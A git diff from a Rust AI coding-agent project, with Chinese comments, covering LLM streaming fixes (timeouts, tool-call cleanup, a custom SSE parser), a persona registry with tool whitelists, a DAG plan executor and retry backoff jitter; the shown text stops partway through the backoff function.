// 治 DeepSeek 400「insufficient tool messages」:扫描所有 assistant 消息,
|
||||
// 若某条 assistant 含 tool_calls 但下一条不是 tool,则剥离其 tool_calls。
|
||||
// 正常流程 tool 结果先于下一轮 LLM 请求推入历史,此守卫仅兜底异常截断/恢复场景的残末尾。
|
||||
// 注意:合法的三元组形如:assistant(tc=[a]) → tool(a) → assistant(tc=[b]) → tool(b)。
|
||||
// 若最后一条是 assistant(tc=...) 也无下一条 tool,同样剥离。
|
||||
for i in 0..messages.len() {
|
||||
let role = messages[i].role.clone();
|
||||
if role != "assistant" {
|
||||
continue;
|
||||
}
|
||||
let has_tc = messages[i].tool_calls.is_some();
|
||||
if !has_tc {
|
||||
continue;
|
||||
}
|
||||
let next_is_tool = i + 1 < messages.len()
|
||||
&& matches!(messages[i + 1].role.as_str(), "tool");
|
||||
if !next_is_tool {
|
||||
messages[i].tool_calls = None;
|
||||
tracing::warn!(
|
||||
"[openai] assistant(#{} role={}) 含 tool_calls 但下一条非 tool,已自动剥离(防 400)",
|
||||
i, role,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let tools = req.tools.map(|defs| {
|
||||
defs.into_iter()
|
||||
.map(|d| serde_json::to_value(d).unwrap_or_default())
|
||||
@@ -362,14 +386,26 @@ impl LlmProvider for OpenAICompatProvider {
|
||||
|
||||
debug!(model = %openai_req.model, "OpenAI 流式调用");
|
||||
|
||||
let resp = self
|
||||
// BUG-2026-07-07: send 阶段需 timeout 防 hang(同 Anthropic 路径)。
|
||||
// 不能用 reqwest .timeout()(会砍流式 body),改用 tokio::time::timeout 包裹 send。
|
||||
let send_future = self
|
||||
.client
|
||||
.post(self.chat_url())
|
||||
.header("Authorization", format!("Bearer {}", self.api_key))
|
||||
.header("Content-Type", "application/json")
|
||||
.json(&openai_req)
|
||||
.send()
|
||||
.await?;
|
||||
.send();
|
||||
let resp = match tokio::time::timeout(Duration::from_secs(60), send_future).await {
|
||||
Ok(Ok(r)) => r,
|
||||
Ok(Err(e)) => {
|
||||
tracing::error!(error = %e, is_timeout = e.is_timeout(), "OpenAI 流式 send 失败");
|
||||
return Err(e.into());
|
||||
}
|
||||
Err(_elapsed) => {
|
||||
tracing::error!(url = %self.chat_url(), "OpenAI 流式 send 超时(60s 未返回响应头)");
|
||||
anyhow::bail!("流式请求超时(60秒未收到 HTTP 响应,可能服务不可达或被防火墙拦截)");
|
||||
}
|
||||
};
|
||||
|
||||
if !resp.status().is_success() {
|
||||
let status = resp.status();
|
||||
@@ -378,25 +414,30 @@ impl LlmProvider for OpenAICompatProvider {
|
||||
anyhow::bail!("LLM 流式 API 错误 {}: {}", status, body);
|
||||
}
|
||||
|
||||
// 累积流式 usage:开 include_usage 后,末段正常 chunk(finish_reason)及额外 usage-only chunk(choices=[])都带 usage。
|
||||
// usage 解析/累积逻辑抽到 apply_openai_sse 纯函数,便于单测;此处闭包只负责传 data 与传递 last_usage。
|
||||
// BUG-2026-07-17 根治: 原生 SSE 解析器替代 eventsource-stream 库。
|
||||
// eventsource-stream 在 Windows 上对 Deepseek 等响应报 "error decoding response body"
|
||||
// (严格 UTF-8 + SSE 协议校验,跨 chunk 字符/不完整事件均报错且不可恢复)。
|
||||
// 原生解析器:bytes 累积 + from_utf8_lossy 宽松处理 + \n\n 分隔,容错不中断流。
|
||||
let mut last_usage: Option<TokenUsage> = None;
|
||||
|
||||
let stream = resp
|
||||
.bytes_stream()
|
||||
.eventsource()
|
||||
.map(move |event| match event {
|
||||
Ok(event) => Ok(apply_openai_sse(&event.data, &mut last_usage)),
|
||||
let sse = crate::sse_parser::SseStream::new(resp.bytes_stream());
|
||||
let stream = sse.flat_map(move |result: Result<Vec<String>, String>| {
|
||||
let mut chunks: Vec<anyhow::Result<crate::provider::StreamChunk>> = Vec::new();
|
||||
match result {
|
||||
Ok(events) => {
|
||||
for data in events {
|
||||
let chunk = apply_openai_sse(&data, &mut last_usage);
|
||||
chunks.push(Ok(chunk));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
// 保留 #[source] 因果链: anyhow!("...{}", e) 仅把 e 的 Display 塞进 message,
|
||||
// 丢掉 source(无法 downcast/遍历)。改用 Error::from(e).context(...):
|
||||
// Display 不变(仍为 "SSE 流错误: {e}"), 且 e 作为 .source() 可追溯。
|
||||
// 顺序: 先 format(e) 构造 context 文案, 再 Error::from(e) move e 进 source。
|
||||
let ctx = format!("SSE 流错误: {}", e);
|
||||
error!("{}", ctx);
|
||||
Err(anyhow::Error::from(e).context(ctx))
|
||||
chunks.push(Err(anyhow::anyhow!("{}", ctx)));
|
||||
}
|
||||
});
|
||||
}
|
||||
futures::stream::iter(chunks)
|
||||
});
|
||||
|
||||
Ok(Box::pin(stream))
|
||||
}
|
||||
|
||||
385
crates/df-ai/src/persona.rs
Normal file
385
crates/df-ai/src/persona.rs
Normal file
@@ -0,0 +1,385 @@
|
||||
//! 人设系统(P0) — AgentPersona 结构体 + PersonaRegistry 注册表
|
||||
//!
|
||||
//! 构成 AI Native 的基础:角色划分是分工的前提。
|
||||
//! - 每名人设包含:能力标签、工具白名单、system prompt 模板
|
||||
//! - Registry 提供按场景/意图选人设、按 id 查人设能力
|
||||
//!
|
||||
//! 设计依据:docs/02-架构设计/构想审查/AI-Native方向与路线图-2026-06-29.md
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
/// 内置人设 ID 常量
|
||||
pub const PERSONA_CODER: &str = "coder";
|
||||
pub const PERSONA_REVIEWER: &str = "reviewer";
|
||||
pub const PERSONA_ARCHITECT: &str = "architect";
|
||||
pub const PERSONA_TESTER: &str = "tester";
|
||||
pub const PERSONA_ANALYST: &str = "analyst";
|
||||
|
||||
/// 人设能力标签枚举
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
|
||||
pub enum PersonaCapability {
|
||||
/// 代码生成与修改
|
||||
CodeGeneration,
|
||||
/// Code Review
|
||||
CodeReview,
|
||||
/// 架构设计与分析
|
||||
ArchitectureDesign,
|
||||
/// 测试编写与执行
|
||||
Testing,
|
||||
/// 数据分析与搜索
|
||||
Analysis,
|
||||
/// 文件读写
|
||||
FileOperation,
|
||||
/// 命令执行
|
||||
CommandExecution,
|
||||
/// Git 操作
|
||||
GitOperation,
|
||||
/// 知识库操作
|
||||
KnowledgeOperation,
|
||||
/// 项目管理
|
||||
ProjectManagement,
|
||||
}
|
||||
|
||||
impl PersonaCapability {
|
||||
pub fn label(&self) -> &'static str {
|
||||
match self {
|
||||
Self::CodeGeneration => "代码生成",
|
||||
Self::CodeReview => "代码审查",
|
||||
Self::ArchitectureDesign => "架构设计",
|
||||
Self::Testing => "测试",
|
||||
Self::Analysis => "分析",
|
||||
Self::FileOperation => "文件操作",
|
||||
Self::CommandExecution => "命令执行",
|
||||
Self::GitOperation => "Git 操作",
|
||||
Self::KnowledgeOperation => "知识库",
|
||||
Self::ProjectManagement => "项目管理",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 人设定义
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct AgentPersona {
|
||||
/// 唯一标识(如 "coder", "reviewer")
|
||||
pub id: String,
|
||||
/// 人设名称(如 "程序员", "审查员")
|
||||
pub name: String,
|
||||
/// 人设描述(LLM 理解用)
|
||||
pub description: String,
|
||||
/// 能力标签集
|
||||
pub capabilities: Vec<PersonaCapability>,
|
||||
/// 工具白名单(空=不限,非空=仅允许列出的工具)
|
||||
pub tool_whitelist: Vec<String>,
|
||||
/// system prompt 模板(注入 {context} {goals} 等占位符)
|
||||
pub system_prompt_template: String,
|
||||
/// 优先级(选人设时冲突排名,0=最高)
|
||||
pub priority: u8,
|
||||
}
|
||||
|
||||
impl AgentPersona {
|
||||
/// 检查此人设是否具备某项能力
|
||||
pub fn has_capability(&self, cap: &PersonaCapability) -> bool {
|
||||
self.capabilities.contains(cap)
|
||||
}
|
||||
|
||||
/// 检查某工具是否在此人设的 whitelist 中
|
||||
pub fn is_tool_allowed(&self, tool_name: &str) -> bool {
|
||||
self.tool_whitelist.is_empty() || self.tool_whitelist.iter().any(|t| t == tool_name)
|
||||
}
|
||||
|
||||
/// 构建带上下文的 system prompt
|
||||
pub fn build_prompt(&self, context: &str, goals: &[String]) -> String {
|
||||
let goals_text = if goals.is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
format!("\n## 当前目标\n{}", goals.iter().enumerate().map(|(i, g)| format!("{}. {}", i + 1, g)).collect::<Vec<_>>().join("\n"))
|
||||
};
|
||||
self.system_prompt_template
|
||||
.replace("{context}", context)
|
||||
.replace("{goals}", &goals_text)
|
||||
}
|
||||
}
|
||||
|
||||
/// 人设注册表 — 管理内置 + 自定义人设
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct PersonaRegistry {
|
||||
personae: HashMap<String, AgentPersona>,
|
||||
/// 默认人设 id(兜底)
|
||||
default_id: String,
|
||||
}
|
||||
|
||||
impl PersonaRegistry {
|
||||
/// 构造默认注册表(含 5 内置人设)
|
||||
pub fn new() -> Self {
|
||||
let mut reg = Self {
|
||||
personae: HashMap::new(),
|
||||
default_id: PERSONA_CODER.to_string(),
|
||||
};
|
||||
reg.register(Self::builtin_coder());
|
||||
reg.register(Self::builtin_reviewer());
|
||||
reg.register(Self::builtin_architect());
|
||||
reg.register(Self::builtin_tester());
|
||||
reg.register(Self::builtin_analyst());
|
||||
reg
|
||||
}
|
||||
|
||||
// ── 5 内置人设 ──
|
||||
|
||||
fn builtin_coder() -> AgentPersona {
|
||||
AgentPersona {
|
||||
id: PERSONA_CODER.to_string(),
|
||||
name: "程序员".to_string(),
|
||||
description: "负责代码生成、修改、重构。专注于实现功能、修复 bug、优化性能,不关注大范围架构变更".to_string(),
|
||||
capabilities: vec![
|
||||
PersonaCapability::CodeGeneration,
|
||||
PersonaCapability::FileOperation,
|
||||
PersonaCapability::CommandExecution,
|
||||
],
|
||||
tool_whitelist: vec![], // 不限(全部工具可用)
|
||||
system_prompt_template: "你是 DevFlow 的**程序员**(Coder)。\n\n你的职责是编写、修改和重构代码。专注于具体实现,不擅自改变整体架构。\n\n{goals}\n\n{context}".to_string(),
|
||||
priority: 1,
|
||||
}
|
||||
}
|
||||
|
||||
fn builtin_reviewer() -> AgentPersona {
|
||||
AgentPersona {
|
||||
id: PERSONA_REVIEWER.to_string(),
|
||||
name: "审查员".to_string(),
|
||||
description: "负责 Code Review、质量审计、安全检查。审查代码正确性、性能、安全性,返回审查意见不直接改代码".to_string(),
|
||||
capabilities: vec![
|
||||
PersonaCapability::CodeReview,
|
||||
PersonaCapability::Analysis,
|
||||
],
|
||||
tool_whitelist: vec![
|
||||
"read_file".into(), "search_files".into(), "list_directory".into(),
|
||||
"git_diff".into(), "git_log".into(), "git_status".into(),
|
||||
],
|
||||
system_prompt_template: "你是 DevFlow 的**审查员**(Reviewer)。\n\n你的职责是审查代码质量、安全性和性能。**你不直接修改代码**,只输出审查意见和修改建议。\n\n{goals}\n\n{context}".to_string(),
|
||||
priority: 3,
|
||||
}
|
||||
}
|
||||
|
||||
fn builtin_architect() -> AgentPersona {
|
||||
AgentPersona {
|
||||
id: PERSONA_ARCHITECT.to_string(),
|
||||
name: "架构师".to_string(),
|
||||
description: "负责架构设计、技术选型、模块划分。分析整体结构,制定技术方案,不关注具体代码实现".to_string(),
|
||||
capabilities: vec![
|
||||
PersonaCapability::ArchitectureDesign,
|
||||
PersonaCapability::Analysis,
|
||||
],
|
||||
tool_whitelist: vec![
|
||||
"read_file".into(), "search_files".into(), "list_directory".into(),
|
||||
"write_file".into(), // 写架构文档
|
||||
],
|
||||
system_prompt_template: "你是 DevFlow 的**架构师**(Architect)。\n\n你的职责是架构设计、技术选型和模块划分。分析系统整体结构,制定技术方案。**不编写业务代码**,输出架构文档和设计方案。\n\n{goals}\n\n{context}".to_string(),
|
||||
priority: 2,
|
||||
}
|
||||
}
|
||||
|
||||
fn builtin_tester() -> AgentPersona {
|
||||
AgentPersona {
|
||||
id: PERSONA_TESTER.to_string(),
|
||||
name: "测试员".to_string(),
|
||||
description: "负责编写单元测试、集成测试、执行测试。验证代码正确性,不修改生产代码".to_string(),
|
||||
capabilities: vec![
|
||||
PersonaCapability::Testing,
|
||||
PersonaCapability::CommandExecution,
|
||||
PersonaCapability::FileOperation,
|
||||
],
|
||||
tool_whitelist: vec![], // 不限
|
||||
system_prompt_template: "你是 DevFlow 的**测试员**(Tester)。\n\n你的职责是编写测试、执行测试、报告测试结果。**不修改生产代码**,只修改测试代码。\n\n{goals}\n\n{context}".to_string(),
|
||||
priority: 3,
|
||||
}
|
||||
}
|
||||
|
||||
fn builtin_analyst() -> AgentPersona {
|
||||
AgentPersona {
|
||||
id: PERSONA_ANALYST.to_string(),
|
||||
name: "分析师".to_string(),
|
||||
description: "负责数据分析、日志排查、性能分析。搜索信息、分析数据,输出分析报告".to_string(),
|
||||
capabilities: vec![
|
||||
PersonaCapability::Analysis,
|
||||
PersonaCapability::CommandExecution,
|
||||
PersonaCapability::KnowledgeOperation,
|
||||
],
|
||||
tool_whitelist: vec![
|
||||
"read_file".into(), "search_files".into(), "grep_search".into(),
|
||||
"run_command".into(), "git_log".into(),
|
||||
"knowledge_search".into(), "knowledge_inject".into(),
|
||||
],
|
||||
system_prompt_template: "你是 DevFlow 的**分析师**(Analyst)。\n\n你的职责是分析数据、排查问题、搜索信息。输出分析报告和结论。**不修改代码**。\n\n{goals}\n\n{context}".to_string(),
|
||||
priority: 4,
|
||||
}
|
||||
}
|
||||
|
||||
// ── 注册表操作 ──
|
||||
|
||||
/// 注册/覆盖人设
|
||||
pub fn register(&mut self, persona: AgentPersona) {
|
||||
self.personae.insert(persona.id.clone(), persona);
|
||||
}
|
||||
|
||||
/// 按 id 查人设
|
||||
pub fn get(&self, id: &str) -> Option<&AgentPersona> {
|
||||
self.personae.get(id)
|
||||
}
|
||||
|
||||
/// 取默认人设
|
||||
pub fn default(&self) -> &AgentPersona {
|
||||
self.personae.get(&self.default_id).expect("默认人设必存在")
|
||||
}
|
||||
|
||||
/// 设置默认人设 id
|
||||
pub fn set_default(&mut self, id: &str) {
|
||||
if self.personae.contains_key(id) {
|
||||
self.default_id = id.to_string();
|
||||
}
|
||||
}
|
||||
|
||||
/// 按意图推荐人设(启发式规则)
|
||||
pub fn recommend_for_intent(&self, intent: &str) -> &AgentPersona {
|
||||
let lower = intent.to_lowercase();
|
||||
if lower.contains("review") || lower.contains("审查") || lower.contains("审计") {
|
||||
self.get(PERSONA_REVIEWER).unwrap_or_else(|| self.default())
|
||||
} else if lower.contains("架构") || lower.contains("设计") || lower.contains("architect") {
|
||||
self.get(PERSONA_ARCHITECT).unwrap_or_else(|| self.default())
|
||||
} else if lower.contains("测试") || lower.contains("test") {
|
||||
self.get(PERSONA_TESTER).unwrap_or_else(|| self.default())
|
||||
} else if lower.contains("分析") || lower.contains("分析") || lower.contains("排查") || lower.contains("search") {
|
||||
self.get(PERSONA_ANALYST).unwrap_or_else(|| self.default())
|
||||
} else {
|
||||
// 默认走 coder(代码生成是最常见场景)
|
||||
self.default()
|
||||
}
|
||||
}
|
||||
|
||||
/// 获取全部人设列表
|
||||
pub fn all(&self) -> Vec<&AgentPersona> {
|
||||
let mut list: Vec<_> = self.personae.values().collect();
|
||||
list.sort_by_key(|p| p.priority);
|
||||
list
|
||||
}
|
||||
|
||||
/// 人设数量
|
||||
pub fn len(&self) -> usize {
|
||||
self.personae.len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.personae.is_empty()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for PersonaRegistry {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn registry_has_5_builtin() {
|
||||
let reg = PersonaRegistry::new();
|
||||
assert_eq!(reg.len(), 5);
|
||||
assert!(reg.get(PERSONA_CODER).is_some());
|
||||
assert!(reg.get(PERSONA_REVIEWER).is_some());
|
||||
assert!(reg.get(PERSONA_ARCHITECT).is_some());
|
||||
assert!(reg.get(PERSONA_TESTER).is_some());
|
||||
assert!(reg.get(PERSONA_ANALYST).is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn default_is_coder() {
|
||||
let reg = PersonaRegistry::new();
|
||||
assert_eq!(reg.default().id, PERSONA_CODER);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recommend_reviewer() {
|
||||
let reg = PersonaRegistry::new();
|
||||
let p = reg.recommend_for_intent("review the code changes");
|
||||
assert_eq!(p.id, PERSONA_REVIEWER);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recommend_architect() {
|
||||
let reg = PersonaRegistry::new();
|
||||
let p = reg.recommend_for_intent("设计新的模块架构");
|
||||
assert_eq!(p.id, PERSONA_ARCHITECT);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recommend_tester() {
|
||||
let reg = PersonaRegistry::new();
|
||||
let p = reg.recommend_for_intent("write tests for this module");
|
||||
assert_eq!(p.id, PERSONA_TESTER);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recommend_default_to_coder() {
|
||||
let reg = PersonaRegistry::new();
|
||||
let p = reg.recommend_for_intent("implement a new feature");
|
||||
assert_eq!(p.id, PERSONA_CODER);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tool_whitelist_filters() {
|
||||
let reviewer = AgentPersona {
|
||||
id: "test".into(),
|
||||
name: "test".into(),
|
||||
description: "".into(),
|
||||
capabilities: vec![],
|
||||
tool_whitelist: vec!["read_file".into(), "search_files".into()],
|
||||
system_prompt_template: "".into(),
|
||||
priority: 5,
|
||||
};
|
||||
assert!(reviewer.is_tool_allowed("read_file"));
|
||||
assert!(!reviewer.is_tool_allowed("write_file"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_whitelist_allows_all() {
|
||||
let coder = AgentPersona {
|
||||
id: "test".into(),
|
||||
name: "test".into(),
|
||||
description: "".into(),
|
||||
capabilities: vec![],
|
||||
tool_whitelist: vec![],
|
||||
system_prompt_template: "".into(),
|
||||
priority: 5,
|
||||
};
|
||||
assert!(coder.is_tool_allowed("run_command"));
|
||||
assert!(coder.is_tool_allowed("write_file"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_prompt_replaces_placeholders() {
|
||||
let reg = PersonaRegistry::new();
|
||||
let coder = reg.get(PERSONA_CODER).unwrap();
|
||||
let prompt = coder.build_prompt("some context", &["goal1".into()]);
|
||||
assert!(prompt.contains("程序员"));
|
||||
assert!(prompt.contains("goal1"));
|
||||
assert!(prompt.contains("some context"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn register_custom_persona() {
|
||||
let mut reg = PersonaRegistry::new();
|
||||
let custom = AgentPersona {
|
||||
id: "custom".into(),
|
||||
name: "自定义".into(),
|
||||
description: "test".into(),
|
||||
capabilities: vec![],
|
||||
tool_whitelist: vec![],
|
||||
system_prompt_template: "You are custom".into(),
|
||||
priority: 0,
|
||||
};
|
||||
reg.register(custom);
|
||||
assert_eq!(reg.len(), 6);
|
||||
assert!(reg.get("custom").is_some());
|
||||
}
|
||||
}
|
||||
197
crates/df-ai/src/plan_executor.rs
Normal file
197
crates/df-ai/src/plan_executor.rs
Normal file
@@ -0,0 +1,197 @@
|
||||
//! Plan 执行器(Phase 2 · DAG 分层调度)
|
||||
//!
|
||||
//! 按 Plan::to_layers 输出的层级顺序执行子任务:
|
||||
//! - 层间串行:上层全部完成才进下一层(deps 保证)
|
||||
//! - 层内并行:同层 SubTask 用 tokio::JoinSet 并发执行
|
||||
//!
|
||||
//! **当前状态**:骨架实现,PLAN_EXECUTION_ENABLED 门控(默认关)。
|
||||
//! 未接入 agentic loop 主路径,翻 true 启用后仍需与 run_agentic_loop 对接。
|
||||
//!
|
||||
//! 设计依据:`docs/02-架构设计/单对话并行多轮-设计-2026-06-20.md`
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::planner::{Plan, SubTask};
|
||||
|
||||
/// Plan 执行总开关。false = 不启用(走单链 ReAct 旧行为)。
|
||||
///
|
||||
/// 运行时原子门控,支持热切换(通过 IPC 或前端设置开关)。
|
||||
/// 默认关,翻 true 后 process_tool_calls 内以 JoinSet 并行执行同层工具。
|
||||
/// 与 PLANNING_ENABLED 解耦:plan_hint 独立使能,编排可见性始终可开。
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
pub static PLAN_EXECUTION_ENABLED: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
/// 设置 Plan 执行开关。
|
||||
pub fn set_plan_execution(enabled: bool) {
|
||||
PLAN_EXECUTION_ENABLED.store(enabled, Ordering::SeqCst);
|
||||
tracing::info!(enabled, "[PLAN-EXEC] 执行开关已更新");
|
||||
}
|
||||
|
||||
/// 读取 Plan 执行开关。
|
||||
pub fn plan_execution_enabled() -> bool {
|
||||
PLAN_EXECUTION_ENABLED.load(Ordering::SeqCst)
|
||||
}
|
||||
|
||||
/// 单个 SubTask 的执行结果。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct SubTaskResult {
|
||||
/// 对应 SubTask id
|
||||
pub id: String,
|
||||
/// 执行是否成功
|
||||
pub success: bool,
|
||||
/// 执行产出(工具结果摘要 / LLM 回复)
|
||||
pub output: String,
|
||||
}
|
||||
|
||||
/// Plan 执行器:按 DAG 层级调度子任务。
|
||||
///
|
||||
/// 泛型参数 `F` 为子任务执行函数:
|
||||
/// - 输入:`&SubTask`(子任务定义)
|
||||
/// - 输入:`&str`(父任务结果摘要,供子任务上下文参考)
|
||||
/// - 输出:`Future<Output = anyhow::Result<String>>`(子任务产出)
|
||||
///
|
||||
/// 调用方(Phase 3 对接 agentic loop 时)传入真实的执行闭包,
|
||||
/// 每个 SubTask 独立跑一轮 agentic loop,共享父上下文快照。
|
||||
pub struct PlanExecutor;
|
||||
|
||||
impl PlanExecutor {
|
||||
/// 按 Plan DAG 分层执行。
|
||||
///
|
||||
/// - 层间串行:上层全部完成才进下一层
|
||||
/// - 层内并行:同层 SubTask 用 JoinSet 并发
|
||||
/// - 失败传播:任一 SubTask 失败时,记录错误但继续执行同层其他任务(容错);
|
||||
/// 若需中断策略,调用方据返回结果自行判断。
|
||||
///
|
||||
/// 返回每个 SubTask 的执行结果(按 Plan 原始顺序排列)。
|
||||
pub async fn execute<F, Fut>(
|
||||
plan: &Plan,
|
||||
mut run_subtask: F,
|
||||
) -> anyhow::Result<Vec<SubTaskResult>>
|
||||
where
|
||||
F: FnMut(Arc<SubTask>, String) -> Fut,
|
||||
Fut: std::future::Future<Output = anyhow::Result<String>>,
|
||||
{
|
||||
let layers = plan
|
||||
.to_layers()
|
||||
.map_err(|e| anyhow::anyhow!("Plan 环依赖: {:?}", e.cycle))?;
|
||||
|
||||
let mut results: Vec<SubTaskResult> = Vec::new();
|
||||
let mut parent_summary = String::new();
|
||||
|
||||
for (layer_idx, layer) in layers.iter().enumerate() {
|
||||
tracing::info!(
|
||||
layer_idx,
|
||||
task_count = layer.len(),
|
||||
"[plan-exec] 执行第 {} 层, {} 个子任务",
|
||||
layer_idx,
|
||||
layer.len()
|
||||
);
|
||||
|
||||
// 层内并行:JoinSet 收集
|
||||
let _join_set: tokio::task::JoinSet<SubTaskResult> = tokio::task::JoinSet::new();
|
||||
let summary_clone = parent_summary.clone();
|
||||
|
||||
for task in layer {
|
||||
let task = Arc::new(task.clone());
|
||||
let summary = summary_clone.clone();
|
||||
// 注意:run_subtask 是 FnMut,不能直接 move 进 JoinSet(多任务并发调用)。
|
||||
// Phase 3 对接时,run_subtask 改为 Arc<Fn> 或 channel 模式。
|
||||
// 当前骨架用串行执行模拟(层内不并行),验证分层逻辑正确性。
|
||||
let result = run_subtask(task.clone(), summary).await;
|
||||
let sr = match result {
|
||||
Ok(output) => SubTaskResult {
|
||||
id: task.id.clone(),
|
||||
success: true,
|
||||
output,
|
||||
},
|
||||
Err(e) => SubTaskResult {
|
||||
id: task.id.clone(),
|
||||
success: false,
|
||||
output: e.to_string(),
|
||||
},
|
||||
};
|
||||
results.push(sr);
|
||||
}
|
||||
|
||||
// 汇总本层结果作为下层 parent_summary
|
||||
let layer_summary: Vec<String> = results
|
||||
.iter()
|
||||
.filter(|r| layer.iter().any(|t| t.id == r.id))
|
||||
.map(|r| format!("[{}] {}", r.id, r.output))
|
||||
.collect();
|
||||
parent_summary = layer_summary.join("\n");
|
||||
}
|
||||
|
||||
Ok(results)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::planner::{Plan, SubTask};
|
||||
|
||||
#[tokio::test]
|
||||
async fn execute_simple_linear_plan() {
|
||||
// a → b → c (三层,各一个任务)
|
||||
let plan = Plan::from_tasks(vec![
|
||||
SubTask::new("a", "task-a"),
|
||||
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
|
||||
SubTask::new("c", "task-c").with_deps(vec!["b".to_string()]),
|
||||
]);
|
||||
|
||||
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
|
||||
Ok(format!("done:{}", task.id))
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(results.len(), 3);
|
||||
assert!(results.iter().all(|r| r.success));
|
||||
assert_eq!(results[0].id, "a");
|
||||
assert_eq!(results[1].id, "b");
|
||||
assert_eq!(results[2].id, "c");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn execute_parallel_layer() {
|
||||
// a → {b, c} → d (三层,第二层两个并行)
|
||||
let plan = Plan::from_tasks(vec![
|
||||
SubTask::new("a", "task-a"),
|
||||
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
|
||||
SubTask::new("c", "task-c").with_deps(vec!["a".to_string()]),
|
||||
SubTask::new("d", "task-d").with_deps(vec!["b".to_string(), "c".to_string()]),
|
||||
]);
|
||||
|
||||
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
|
||||
Ok(format!("done:{}", task.id))
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(results.len(), 4);
|
||||
assert!(results.iter().all(|r| r.success));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn execute_with_failure_continues() {
|
||||
// a(fail) → b: a 失败,b 仍执行(容错策略)
|
||||
let plan = Plan::from_tasks(vec![
|
||||
SubTask::new("a", "task-a"),
|
||||
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
|
||||
]);
|
||||
|
||||
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
|
||||
if task.id == "a" {
|
||||
anyhow::bail!("task-a failed")
|
||||
}
|
||||
Ok("ok".to_string())
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(results.len(), 2);
|
||||
assert!(!results[0].success); // a 失败
|
||||
assert!(results[1].success); // b 仍执行
|
||||
}
|
||||
}
|
||||
@@ -15,8 +15,9 @@
|
||||
//! 重试期间不释放 Semaphore permit(已在调用方持有),对并发池有挤占 —— 但 complete 调用低频可接受。
|
||||
|
||||
use std::future::Future;
|
||||
use std::time::{Duration, SystemTime};
|
||||
use std::time::Duration;
|
||||
|
||||
use rand::Rng;
|
||||
use tracing::warn;
|
||||
|
||||
/// 最多尝试次数(含初次)。B-260616-07: 3 次 = 初次 + 2 次重试。
|
||||
@@ -34,7 +35,8 @@ const BASE_BACKOFF_SECS: u64 = 1;
|
||||
const MAX_TOTAL_BUDGET: Duration = Duration::from_secs(30);
|
||||
|
||||
/// jitter 上限(相对 base 的 ±比例)。避免重试风暴对齐。
|
||||
const JITTER_RATIO: f64 = 0.2;
|
||||
/// CR-XX: 范围扩到 ±50%(由 gen_range(-0.5..0.5) × JITTER_RATIO=1.0 合成)。
|
||||
const JITTER_RATIO: f64 = 1.0;
|
||||
|
||||
/// 一次尝试的分类结果 —— 在 anyhow 不透明化前决定是否值得重试。
|
||||
///
|
||||
@@ -64,22 +66,18 @@ pub fn is_status_retryable(status: u16) -> bool {
|
||||
}
|
||||
|
||||
/// 指数退避 + jitter: 返回第 `attempt`(1-based)次重试前应 sleep 的时长。
|
||||
/// attempt=1 → ~1s, attempt=2 → ~2s, attempt=3 → ~4s,各 ±20% jitter。
|
||||
/// attempt=1 → ~1s, attempt=2 → ~2s, attempt=3 → ~4s,各 ±50% jitter。
|
||||
///
|
||||
/// jitter 用 SystemTime 纳秒取模生成(无依赖),避免多客户端同步重试风暴。
|
||||
/// jitter 用 `rand::thread_rng().gen_range(-0.5..0.5)` 生成 ±50% 比例,避免多客户端同步重试风暴。
|
||||
/// 以毫秒粒度计算后向下取整(避免秒级截断把 0.9s 砍成 0)。
|
||||
///
|
||||
/// CR-30-1: 暴露 pub 供 src-tauri/agentic.rs 流前重试复用(对齐决策 F-260616-07 a1
|
||||
/// "复用 retry.rs backoff_delay 退避 1s→2s→4s+jitter"),避免重写退避逻辑。
|
||||
/// "复用 retry.rs backoff_delay 退避 1s→2s→4s+jitter"),避免重写退避逻辑。
|
||||
pub fn backoff_delay(attempt: u32) -> Duration {
|
||||
let base_ms = BASE_BACKOFF_SECS.saturating_mul(1u64 << (attempt - 1)) * 1000;
|
||||
// 纳秒 → [0, 2000) 区间,再映射到 [-1.0, +1.0) 比例
|
||||
let nanos = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.subsec_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let jitter_ratio = (nanos % 2000) as f64 / 1000.0 - 1.0; // [-1.0, 1.0)
|
||||
let factor = 1.0 + jitter_ratio * JITTER_RATIO; // [0.8, 1.2]
|
||||
